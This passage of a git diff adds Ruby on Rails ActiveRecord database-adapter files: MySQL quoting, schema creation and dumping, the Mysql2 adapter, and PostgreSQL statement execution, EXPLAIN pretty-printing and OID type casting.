+        #   | id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra       |
+        #   +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+        #   |  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |             |
+        #   |  1 | SIMPLE      | posts | ALL   | NULL          | NULL    | NULL    | NULL  |    1 | Using where |
+        #   +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+        #   2 rows in set (0.00 sec)
+        #
+        # This is an exercise in Ruby hyperrealism :).
+        def pp(result, elapsed)
+          widths    = compute_column_widths(result)
+          separator = build_separator(widths)
+
+          pp = []
+
+          pp << separator
+          pp << build_cells(result.columns, widths)
+          pp << separator
+
+          result.rows.each do |row|
+            pp << build_cells(row, widths)
+          end
+
+          pp << separator
+          pp << build_footer(result.rows.length, elapsed)
+
+          pp.join("\n") + "\n"
+        end
+
+        private
+
+          def compute_column_widths(result)
+            [].tap do |widths|
+              result.columns.each_with_index do |column, i|
+                cells_in_column = [column] + result.rows.map { |r| r[i].nil? ? "NULL" : r[i].to_s }
+                widths << cells_in_column.map(&:length).max
+              end
+            end
+          end
+
+          def build_separator(widths)
+            padding = 1
+            "+" + widths.map { |w| "-" * (w + (padding * 2)) }.join("+") + "+"
+          end
+
+          def build_cells(items, widths)
+            cells = []
+            items.each_with_index do |item, i|
+              item = "NULL" if item.nil?
+              justifier = item.is_a?(Numeric) ? "rjust" : "ljust"
+              cells << item.to_s.send(justifier, widths[i])
+            end
+            "| " + cells.join(" | ") + " |"
+          end
+
+          def build_footer(nrows, elapsed)
+            rows_label = nrows == 1 ? "row" : "rows"
+            "#{nrows} #{rows_label} in set (%.2f sec)" % elapsed
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/quoting.rb b/activerecord/lib/active_record/connection_adapters/mysql/quoting.rb
new file mode 100644
index 0000000000..be038403b8
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql/quoting.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module MySQL
+      module Quoting # :nodoc:
+        def quote_column_name(name)
+          @quoted_column_names[name] ||= "`#{super.gsub('`', '``')}`".freeze
+        end
+
+        def quote_table_name(name)
+          @quoted_table_names[name] ||= super.gsub(".", "`.`").freeze
+        end
+
+        def unquoted_true
+          1
+        end
+
+        def unquoted_false
+          0
+        end
+
+        def quoted_date(value)
+          if supports_datetime_with_precision?
+            super
+          else
+            super.sub(/\.\d{6}\z/, "")
+          end
+        end
+
+        def quoted_binary(value)
+          "x'#{value.hex}'"
+        end
+
+        def _type_cast(value)
+          case value
+          when Date, Time then value
+          else super
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/mysql/schema_creation.rb
new file mode 100644
index 0000000000..5a35823c72
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql/schema_creation.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module MySQL
+      class SchemaCreation < AbstractAdapter::SchemaCreation # :nodoc:
+        delegate :add_sql_comment!, :mariadb?, to: :@conn
+        private :add_sql_comment!, :mariadb?
+
+        private
+
+          def visit_DropForeignKey(name)
+            "DROP FOREIGN KEY #{name}"
+          end
+
+          def visit_AddColumnDefinition(o)
+            add_column_position!(super, column_options(o.column))
+          end
+
+          def visit_ChangeColumnDefinition(o)
+            change_column_sql = "CHANGE #{quote_column_name(o.name)} #{accept(o.column)}".dup
+            add_column_position!(change_column_sql, column_options(o.column))
+          end
+
+          def add_table_options!(create_sql, options)
+            add_sql_comment!(super, options[:comment])
+          end
+
+          def add_column_options!(sql, options)
+            # By default, TIMESTAMP columns are NOT NULL, cannot contain NULL values,
+            # and assigning NULL assigns the current timestamp. To permit a TIMESTAMP
+            # column to contain NULL, explicitly declare it with the NULL attribute.
+            # See http://dev.mysql.com/doc/refman/5.7/en/timestamp-initialization.html
+            if /\Atimestamp\b/.match?(options[:column].sql_type) && !options[:primary_key]
+              sql << " NULL" unless options[:null] == false || options_include_default?(options)
+            end
+
+            if charset = options[:charset]
+              sql << " CHARACTER SET #{charset}"
+            end
+
+            if collation = options[:collation]
+              sql << " COLLATE #{collation}"
+            end
+
+            if as = options[:as]
+              sql << " AS (#{as})"
+              if options[:stored]
+                sql << (mariadb? ? " PERSISTENT" : " STORED")
+              end
+            end
+
+            add_sql_comment!(super, options[:comment])
+          end
+
+          def add_column_position!(sql, options)
+            if options[:first]
+              sql << " FIRST"
+            elsif options[:after]
+              sql << " AFTER #{quote_column_name(options[:after])}"
+            end
+
+            sql
+          end
+
+          def index_in_create(table_name, column_name, options)
+            index_name, index_type, index_columns, _, _, index_using, comment = @conn.add_index_options(table_name, column_name, options)
+            add_sql_comment!("#{index_type} INDEX #{quote_column_name(index_name)} #{index_using} (#{index_columns})".dup, comment)
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb
new file mode 100644
index 0000000000..b22a2e4da7
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module MySQL
+      module ColumnMethods
+        def primary_key(name, type = :primary_key, **options)
+          options[:auto_increment] = true if [:integer, :bigint].include?(type) && !options.key?(:default)
+          super
+        end
+
+        def blob(*args, **options)
+          args.each { |name| column(name, :blob, options) }
+        end
+
+        def tinyblob(*args, **options)
+          args.each { |name| column(name, :tinyblob, options) }
+        end
+
+        def mediumblob(*args, **options)
+          args.each { |name| column(name, :mediumblob, options) }
+        end
+
+        def longblob(*args, **options)
+          args.each { |name| column(name, :longblob, options) }
+        end
+
+        def tinytext(*args, **options)
+          args.each { |name| column(name, :tinytext, options) }
+        end
+
+        def mediumtext(*args, **options)
+          args.each { |name| column(name, :mediumtext, options) }
+        end
+
+        def longtext(*args, **options)
+          args.each { |name| column(name, :longtext, options) }
+        end
+
+        def json(*args, **options)
+          args.each { |name| column(name, :json, options) }
+        end
+
+        def unsigned_integer(*args, **options)
+          args.each { |name| column(name, :unsigned_integer, options) }
+        end
+
+        def unsigned_bigint(*args, **options)
+          args.each { |name| column(name, :unsigned_bigint, options) }
+        end
+
+        def unsigned_float(*args, **options)
+          args.each { |name| column(name, :unsigned_float, options) }
+        end
+
+        def unsigned_decimal(*args, **options)
+          args.each { |name| column(name, :unsigned_decimal, options) }
+        end
+      end
+
+      class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
+        include ColumnMethods
+
+        def new_column_definition(name, type, **options) # :nodoc:
+          case type
+          when :virtual
+            type = options[:type]
+          when :primary_key
+            type = :integer
+            options[:limit] ||= 8
+            options[:auto_increment] = true
+            options[:primary_key] = true
+          when /\Aunsigned_(?<type>.+)\z/
+            type = $~[:type].to_sym
+            options[:unsigned] = true
+          end
+
+          super
+        end
+
+        private
+          def aliased_types(name, fallback)
+            fallback
+          end
+      end
+
+      class Table < ActiveRecord::ConnectionAdapters::Table
+        include ColumnMethods
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper.rb
new file mode 100644
index 0000000000..fbe3596dda
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module MySQL
+      module ColumnDumper # :nodoc:
+        def prepare_column_options(column)
+          spec = super
+          spec[:unsigned] = "true" if column.unsigned?
+
+          if supports_virtual_columns? && column.virtual?
+            spec[:as] = extract_expression_for_virtual_column(column)
+            spec[:stored] = "true" if /\b(?:STORED|PERSISTENT)\b/.match?(column.extra)
+            spec = { type: schema_type(column).inspect }.merge!(spec)
+          end
+
+          spec
+        end
+
+        def migration_keys
+          super + [:unsigned]
+        end
+
+        private
+
+          def default_primary_key?(column)
+            super && column.auto_increment? && !column.unsigned?
+          end
+
+          def explicit_primary_key_default?(column)
+            column.type == :integer && !column.auto_increment?
+          end
+
+          def schema_type(column)
+            case column.sql_type
+            when /\Atimestamp\b/
+              :timestamp
+            when "tinyblob"
+              :blob
+            else
+              super
+            end
+          end
+
+          def schema_precision(column)
+            super unless /\A(?:date)?time(?:stamp)?\b/.match?(column.sql_type) && column.precision == 0
+          end
+
+          def schema_collation(column)
+            if column.collation && table_name = column.table_name
+              @table_collation_cache ||= {}
+              @table_collation_cache[table_name] ||= exec_query("SHOW TABLE STATUS LIKE #{quote(table_name)}", "SCHEMA").first["Collation"]
+              column.collation.inspect if column.collation != @table_collation_cache[table_name]
+            end
+          end
+
+          def extract_expression_for_virtual_column(column)
+            if mariadb? && version < "10.2.5"
+              create_table_info = create_table_info(column.table_name)
+              if %r/#{quote_column_name(column.name)} #{Regexp.quote(column.sql_type)}(?: COLLATE \w+)? AS \((?<expression>.+?)\) #{column.extra}/ =~ create_table_info
+                $~[:expression].inspect
+              end
+            else
+              scope = quoted_scope(column.table_name)
+              sql = "SELECT generation_expression FROM information_schema.columns" \
+                    " WHERE table_schema = #{scope[:schema]}" \
+                    "   AND table_name = #{scope[:name]}" \
+                    "   AND column_name = #{quote(column.name)}"
+              query_value(sql, "SCHEMA").inspect
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/mysql/schema_statements.rb
new file mode 100644
index 0000000000..1d87d60ba9
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql/schema_statements.rb
@@ -0,0 +1,131 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module MySQL
+      module SchemaStatements # :nodoc:
+        # Returns an array of indexes for the given table.
+        def indexes(table_name, name = nil)
+          if name
+            ActiveSupport::Deprecation.warn(<<-MSG.squish)
+              Passing name to #indexes is deprecated without replacement.
+            MSG
+          end
+
+          indexes = []
+          current_index = nil
+          execute_and_free("SHOW KEYS FROM #{quote_table_name(table_name)}", "SCHEMA") do |result|
+            each_hash(result) do |row|
+              if current_index != row[:Key_name]
+                next if row[:Key_name] == "PRIMARY" # skip the primary key
+                current_index = row[:Key_name]
+
+                mysql_index_type = row[:Index_type].downcase.to_sym
+                case mysql_index_type
+                when :fulltext, :spatial
+                  index_type = mysql_index_type
+                when :btree, :hash
+                  index_using = mysql_index_type
+                end
+
+                indexes << IndexDefinition.new(
+                  row[:Table],
+                  row[:Key_name],
+                  row[:Non_unique].to_i == 0,
+                  type: index_type,
+                  using: index_using,
+                  comment: row[:Index_comment].presence
+                )
+              end
+
+              indexes.last.columns << row[:Column_name]
+              indexes.last.lengths.merge!(row[:Column_name] => row[:Sub_part].to_i) if row[:Sub_part]
+              indexes.last.orders.merge!(row[:Column_name] => :desc) if row[:Collation] == "D"
+            end
+          end
+
+          indexes
+        end
+
+        def remove_column(table_name, column_name, type = nil, options = {})
+          if foreign_key_exists?(table_name, column: column_name)
+            remove_foreign_key(table_name, column: column_name)
+          end
+          super
+        end
+
+        def internal_string_options_for_primary_key
+          super.tap do |options|
+            if CHARSETS_OF_4BYTES_MAXLEN.include?(charset) && (mariadb? || version < "8.0.0")
+              options[:collation] = collation.sub(/\A[^_]+/, "utf8")
+            end
+          end
+        end
+
+        private
+          CHARSETS_OF_4BYTES_MAXLEN = ["utf8mb4", "utf16", "utf16le", "utf32"]
+
+          def schema_creation
+            MySQL::SchemaCreation.new(self)
+          end
+
+          def create_table_definition(*args)
+            MySQL::TableDefinition.new(*args)
+          end
+
+          def new_column_from_field(table_name, field)
+            type_metadata = fetch_type_metadata(field[:Type], field[:Extra])
+            if type_metadata.type == :datetime && /\ACURRENT_TIMESTAMP(?:\(\))?\z/i.match?(field[:Default])
+              default, default_function = nil, "CURRENT_TIMESTAMP"
+            else
+              default, default_function = field[:Default], nil
+            end
+
+            MySQL::Column.new(
+              field[:Field],
+              default,
+              type_metadata,
+              field[:Null] == "YES",
+              table_name,
+              default_function,
+              field[:Collation],
+              comment: field[:Comment].presence
+            )
+          end
+
+          def fetch_type_metadata(sql_type, extra = "")
+            MySQL::TypeMetadata.new(super(sql_type), extra: extra)
+          end
+
+          def extract_foreign_key_action(specifier)
+            super unless specifier == "RESTRICT"
+          end
+
+          def data_source_sql(name = nil, type: nil)
+            scope = quoted_scope(name, type: type)
+
+            sql = "SELECT table_name FROM information_schema.tables".dup
+            sql << " WHERE table_schema = #{scope[:schema]}"
+            sql << " AND table_name = #{scope[:name]}" if scope[:name]
+            sql << " AND table_type = #{scope[:type]}" if scope[:type]
+            sql
+          end
+
+          def quoted_scope(name = nil, type: nil)
+            schema, name = extract_schema_qualified_name(name)
+            scope = {}
+            scope[:schema] = schema ? quote(schema) : "database()"
+            scope[:name] = quote(name) if name
+            scope[:type] = quote(type) if type
+            scope
+          end
+
+          def extract_schema_qualified_name(string)
+            schema, name = string.to_s.scan(/[^`.\s]+|`[^`]*`/)
+            schema, name = nil, schema unless name
+            [schema, name]
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb b/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb
new file mode 100644
index 0000000000..7ad0944d51
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module MySQL
+      class TypeMetadata < DelegateClass(SqlTypeMetadata) # :nodoc:
+        undef to_yaml if method_defined?(:to_yaml)
+
+        attr_reader :extra
+
+        def initialize(type_metadata, extra: "")
+          super(type_metadata)
+          @type_metadata = type_metadata
+          @extra = extra
+        end
+
+        def ==(other)
+          other.is_a?(MySQL::TypeMetadata) &&
+            attributes_for_hash == other.attributes_for_hash
+        end
+        alias eql? ==
+
+        def hash
+          attributes_for_hash.hash
+        end
+
+        protected
+
+          def attributes_for_hash
+            [self.class, @type_metadata, extra]
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
new file mode 100644
index 0000000000..2c2321872d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+require_relative "abstract_mysql_adapter"
+require_relative "mysql/database_statements"
+
+gem "mysql2", ">= 0.3.18", "< 0.5"
+require "mysql2"
+raise "mysql2 0.4.3 is not supported. Please upgrade to 0.4.4+" if Mysql2::VERSION == "0.4.3"
+
+module ActiveRecord
+  module ConnectionHandling # :nodoc:
+    # Establishes a connection to the database that's used by all Active Record objects.
+    def mysql2_connection(config)
+      config = config.symbolize_keys
+      config[:flags] ||= 0
+
+      if config[:flags].kind_of? Array
+        config[:flags].push "FOUND_ROWS".freeze
+      else
+        config[:flags] |= Mysql2::Client::FOUND_ROWS
+      end
+
+      client = Mysql2::Client.new(config)
+      ConnectionAdapters::Mysql2Adapter.new(client, logger, nil, config)
+    rescue Mysql2::Error => error
+      if error.message.include?("Unknown database")
+        raise ActiveRecord::NoDatabaseError
+      else
+        raise
+      end
+    end
+  end
+
+  module ConnectionAdapters
+    class Mysql2Adapter < AbstractMysqlAdapter
+      ADAPTER_NAME = "Mysql2".freeze
+
+      include MySQL::DatabaseStatements
+
+      def initialize(connection, logger, connection_options, config)
+        super
+        @prepared_statements = false unless config.key?(:prepared_statements)
+        configure_connection
+      end
+
+      def supports_json?
+        !mariadb? && version >= "5.7.8"
+      end
+
+      def supports_comments?
+        true
+      end
+
+      def supports_comments_in_create?
+        true
+      end
+
+      def supports_savepoints?
+        true
+      end
+
+      # HELPER METHODS ===========================================
+
+      def each_hash(result) # :nodoc:
+        if block_given?
+          result.each(as: :hash, symbolize_keys: true) do |row|
+            yield row
+          end
+        else
+          to_enum(:each_hash, result)
+        end
+      end
+
+      def error_number(exception)
+        exception.error_number if exception.respond_to?(:error_number)
+      end
+
+      #--
+      # QUOTING ==================================================
+      #++
+
+      def quote_string(string)
+        @connection.escape(string)
+      end
+
+      #--
+      # CONNECTION MANAGEMENT ====================================
+      #++
+
+      def active?
+        @connection.ping
+      end
+
+      def reconnect!
+        super
+        disconnect!
+        connect
+      end
+      alias :reset! :reconnect!
+
+      # Disconnects from the database if already connected.
+      # Otherwise, this method does nothing.
+      def disconnect!
+        super
+        @connection.close
+      end
+
+      private
+
+        def connect
+          @connection = Mysql2::Client.new(@config)
+          configure_connection
+        end
+
+        def configure_connection
+          @connection.query_options.merge!(as: :array)
+          super
+        end
+
+        def full_version
+          @full_version ||= @connection.server_info[:version]
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/column.rb b/activerecord/lib/active_record/connection_adapters/postgresql/column.rb
new file mode 100644
index 0000000000..1b67cee24b
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/column.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    # PostgreSQL-specific extensions to column definitions in a table.
+    class PostgreSQLColumn < Column #:nodoc:
+      delegate :array, :oid, :fmod, to: :sql_type_metadata
+      alias :array? :array
+
+      def serial?
+        return unless default_function
+
+        %r{\Anextval\('"?#{table_name}_#{name}_seq"?'::regclass\)\z} === default_function
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
new file mode 100644
index 0000000000..0dd4aac463
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
@@ -0,0 +1,164 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module DatabaseStatements
+        def explain(arel, binds = [])
+          sql, binds = to_sql(arel, binds)
+          sql = "EXPLAIN #{sql}"
+          PostgreSQL::ExplainPrettyPrinter.new.pp(exec_query(sql, "EXPLAIN", binds))
+        end
+
+        # The internal PostgreSQL identifier of the money data type.
+        MONEY_COLUMN_TYPE_OID = 790 #:nodoc:
+        # The internal PostgreSQL identifier of the BYTEA data type.
+        BYTEA_COLUMN_TYPE_OID = 17 #:nodoc:
+
+        # create a 2D array representing the result set
+        def result_as_array(res) #:nodoc:
+          # check if we have any binary column and if they need escaping
+          ftypes = Array.new(res.nfields) do |i|
+            [i, res.ftype(i)]
+          end
+
+          rows = res.values
+          return rows unless ftypes.any? { |_, x|
+            x == BYTEA_COLUMN_TYPE_OID || x == MONEY_COLUMN_TYPE_OID
+          }
+
+          typehash = ftypes.group_by { |_, type| type }
+          binaries = typehash[BYTEA_COLUMN_TYPE_OID] || []
+          monies   = typehash[MONEY_COLUMN_TYPE_OID] || []
+
+          rows.each do |row|
+            # unescape string passed BYTEA field (OID == 17)
+            binaries.each do |index, _|
+              row[index] = unescape_bytea(row[index])
+            end
+
+            # If this is a money type column and there are any currency symbols,
+            # then strip them off. Indeed it would be prettier to do this in
+            # PostgreSQLColumn.string_to_decimal but would break form input
+            # fields that call value_before_type_cast.
+            monies.each do |index, _|
+              data = row[index]
+              # Because money output is formatted according to the locale, there are two
+              # cases to consider (note the decimal separators):
+              #  (1) $12,345,678.12
+              #  (2) $12.345.678,12
+              case data
+              when /^-?\D+[\d,]+\.\d{2}$/  # (1)
+                data.gsub!(/[^-\d.]/, "")
+              when /^-?\D+[\d.]+,\d{2}$/  # (2)
+                data.gsub!(/[^-\d,]/, "").sub!(/,/, ".")
+              end
+            end
+          end
+        end
+
+        # Queries the database and returns the results in an Array-like object
+        def query(sql, name = nil) #:nodoc:
+          log(sql, name) do
+            ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+              result_as_array @connection.async_exec(sql)
+            end
+          end
+        end
+
+        # Executes an SQL statement, returning a PG::Result object on success
+        # or raising a PG::Error exception otherwise.
+        # Note: the PG::Result object is manually memory managed; if you don't
+        # need it specifically, you may want consider the <tt>exec_query</tt> wrapper.
+        def execute(sql, name = nil)
+          log(sql, name) do
+            ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+              @connection.async_exec(sql)
+            end
+          end
+        end
+
+        def exec_query(sql, name = "SQL", binds = [], prepare: false)
+          execute_and_clear(sql, name, binds, prepare: prepare) do |result|
+            types = {}
+            fields = result.fields
+            fields.each_with_index do |fname, i|
+              ftype = result.ftype i
+              fmod  = result.fmod i
+              types[fname] = get_oid_type(ftype, fmod, fname)
+            end
+            ActiveRecord::Result.new(fields, result.values, types)
+          end
+        end
+
+        def exec_delete(sql, name = nil, binds = [])
+          execute_and_clear(sql, name, binds) { |result| result.cmd_tuples }
+        end
+        alias :exec_update :exec_delete
+
+        def sql_for_insert(sql, pk, id_value, sequence_name, binds) # :nodoc:
+          if pk.nil?
+            # Extract the table from the insert sql. Yuck.
+            table_ref = extract_table_ref_from_insert_sql(sql)
+            pk = primary_key(table_ref) if table_ref
+          end
+
+          if pk = suppress_composite_primary_key(pk)
+            sql = "#{sql} RETURNING #{quote_column_name(pk)}"
+          end
+
+          super
+        end
+        private :sql_for_insert
+
+        def exec_insert(sql, name = nil, binds = [], pk = nil, sequence_name = nil)
+          if use_insert_returning? || pk == false
+            super
+          else
+            result = exec_query(sql, name, binds)
+            unless sequence_name
+              table_ref = extract_table_ref_from_insert_sql(sql)
+              if table_ref
+                pk = primary_key(table_ref) if pk.nil?
+                pk = suppress_composite_primary_key(pk)
+                sequence_name = default_sequence_name(table_ref, pk)
+              end
+              return result unless sequence_name
+            end
+            last_insert_id_result(sequence_name)
+          end
+        end
+
+        # Begins a transaction.
+        def begin_db_transaction
+          execute "BEGIN"
+        end
+
+        def begin_isolated_db_transaction(isolation)
+          begin_db_transaction
+          execute "SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}"
+        end
+
+        # Commits a transaction.
+        def commit_db_transaction
+          execute "COMMIT"
+        end
+
+        # Aborts a transaction.
+        def exec_rollback_db_transaction
+          execute "ROLLBACK"
+        end
+
+        private
+          # Returns the current ID of a table's sequence.
+          def last_insert_id_result(sequence_name)
+            exec_query("SELECT currval(#{quote(sequence_name)})", "SQL")
+          end
+
+          def suppress_composite_primary_key(pk)
+            pk unless pk.is_a?(Array)
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer.rb b/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer.rb
new file mode 100644
index 0000000000..086a5dcc15
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      class ExplainPrettyPrinter # :nodoc:
+        # Pretty prints the result of an EXPLAIN in a way that resembles the output of the
+        # PostgreSQL shell:
+        #
+        #                                     QUERY PLAN
+        #   ------------------------------------------------------------------------------
+        #    Nested Loop Left Join  (cost=0.00..37.24 rows=8 width=0)
+        #      Join Filter: (posts.user_id = users.id)
+        #      ->  Index Scan using users_pkey on users  (cost=0.00..8.27 rows=1 width=4)
+        #            Index Cond: (id = 1)
+        #      ->  Seq Scan on posts  (cost=0.00..28.88 rows=8 width=4)
+        #            Filter: (posts.user_id = 1)
+        #   (6 rows)
+        #
+        def pp(result)
+          header = result.columns.first
+          lines  = result.rows.map(&:first)
+
+          # We add 2 because there's one char of padding at both sides, note
+          # the extra hyphens in the example above.
+          width = [header, *lines].map(&:length).max + 2
+
+          pp = []
+
+          pp << header.center(width).rstrip
+          pp << "-" * width
+
+          pp += lines.map { |line| " #{line}" }
+
+          nrows = result.rows.length
+          rows_label = nrows == 1 ? "row" : "rows"
+          pp << "(#{nrows} #{rows_label})"
+
+          pp.join("\n") + "\n"
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
new file mode 100644
index 0000000000..b28418d74f
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require_relative "oid/array"
+require_relative "oid/bit"
+require_relative "oid/bit_varying"
+require_relative "oid/bytea"
+require_relative "oid/cidr"
+require_relative "oid/date_time"
+require_relative "oid/decimal"
+require_relative "oid/enum"
+require_relative "oid/hstore"
+require_relative "oid/inet"
+require_relative "oid/jsonb"
+require_relative "oid/money"
+require_relative "oid/oid"
+require_relative "oid/point"
+require_relative "oid/legacy_point"
+require_relative "oid/range"
+require_relative "oid/specialized_string"
+require_relative "oid/uuid"
+require_relative "oid/vector"
+require_relative "oid/xml"
+
+require_relative "oid/type_map_initializer"
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb
new file mode 100644
index 0000000000..d6852082ac
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Array < Type::Value # :nodoc:
+          include Type::Helpers::Mutable
+
+          Data = Struct.new(:encoder, :values) # :nodoc:
+
+          attr_reader :subtype, :delimiter
+          delegate :type, :user_input_in_time_zone, :limit, :precision, :scale, to: :subtype
+
+          def initialize(subtype, delimiter = ",")
+            @subtype = subtype
+            @delimiter = delimiter
+
+            @pg_encoder = PG::TextEncoder::Array.new name: "#{type}[]", delimiter: delimiter
+            @pg_decoder = PG::TextDecoder::Array.new name: "#{type}[]", delimiter: delimiter
+          end
+
+          def deserialize(value)
+            case value
+            when ::String
+              type_cast_array(@pg_decoder.decode(value), :deserialize)
+            when Data
+              type_cast_array(value.values, :deserialize)
+            else
+              super
+            end
+          end
+
+          def cast(value)
+            if value.is_a?(::String)
+              value = @pg_decoder.decode(value)
+            end
+            type_cast_array(value, :cast)
+          end
+
+          def serialize(value)
+            if value.is_a?(::Array)
+              casted_values = type_cast_array(value, :serialize)
+              Data.new(@pg_encoder, casted_values)
+            else
+              super
+            end
+          end
+
+          def ==(other)
+            other.is_a?(Array) &&
+              subtype == other.subtype &&
+              delimiter == other.delimiter
+          end
+
+          def type_cast_for_schema(value)
+            return super unless value.is_a?(::Array)
+            "[" + value.map { |v| subtype.type_cast_for_schema(v) }.join(", ") + "]"
+          end
+
+          def map(value, &block)
+            value.map(&block)
+          end
+
+          def changed_in_place?(raw_old_value, new_value)
+            deserialize(raw_old_value) != new_value
+          end
+
+          private
+
+            def type_cast_array(value, method)
+              if value.is_a?(::Array)
+                value.map { |item| type_cast_array(item, method) }
+              else
+                @subtype.public_send(method, value)
+              end
+            end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb
new file mode 100644
index 0000000000..587e95d192
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Bit < Type::Value # :nodoc:
+          def type
+            :bit
+          end
+
+          def cast_value(value)
+            if ::String === value
+              case value
+              when /^0x/i
+                value[2..-1].hex.to_s(2) # Hexadecimal notation
+              else
+                value                    # Bit-string notation
+              end
+            else
+              value.to_s
+            end
+          end
+
+          def serialize(value)
+            Data.new(super) if value
+          end
+
+          class Data
+            def initialize(value)
+              @value = value
+            end
+
+            def to_s
+              value
+            end
+
+            def binary?
+              /\A[01]*\Z/.match?(value)
+            end
+
+            def hex?
+              /\A[0-9A-F]*\Z/i.match?(value)
+            end
+
+            # TODO Change this to private once we've dropped Ruby 2.2 support.
+            # Workaround for Ruby 2.2 "private attribute?" warning.
+            protected
+
+              attr_reader :value
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb
new file mode 100644
index 0000000000..dc7079dda2
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class BitVarying < OID::Bit # :nodoc:
+          def type
+            :bit_varying
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb
new file mode 100644
index 0000000000..a3c60ecef6
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Bytea < Type::Binary # :nodoc:
+          def deserialize(value)
+            return if value.nil?
+            return value.to_s if value.is_a?(Type::Binary::Data)
+            PG::Connection.unescape_bytea(super)
+          end
+        end
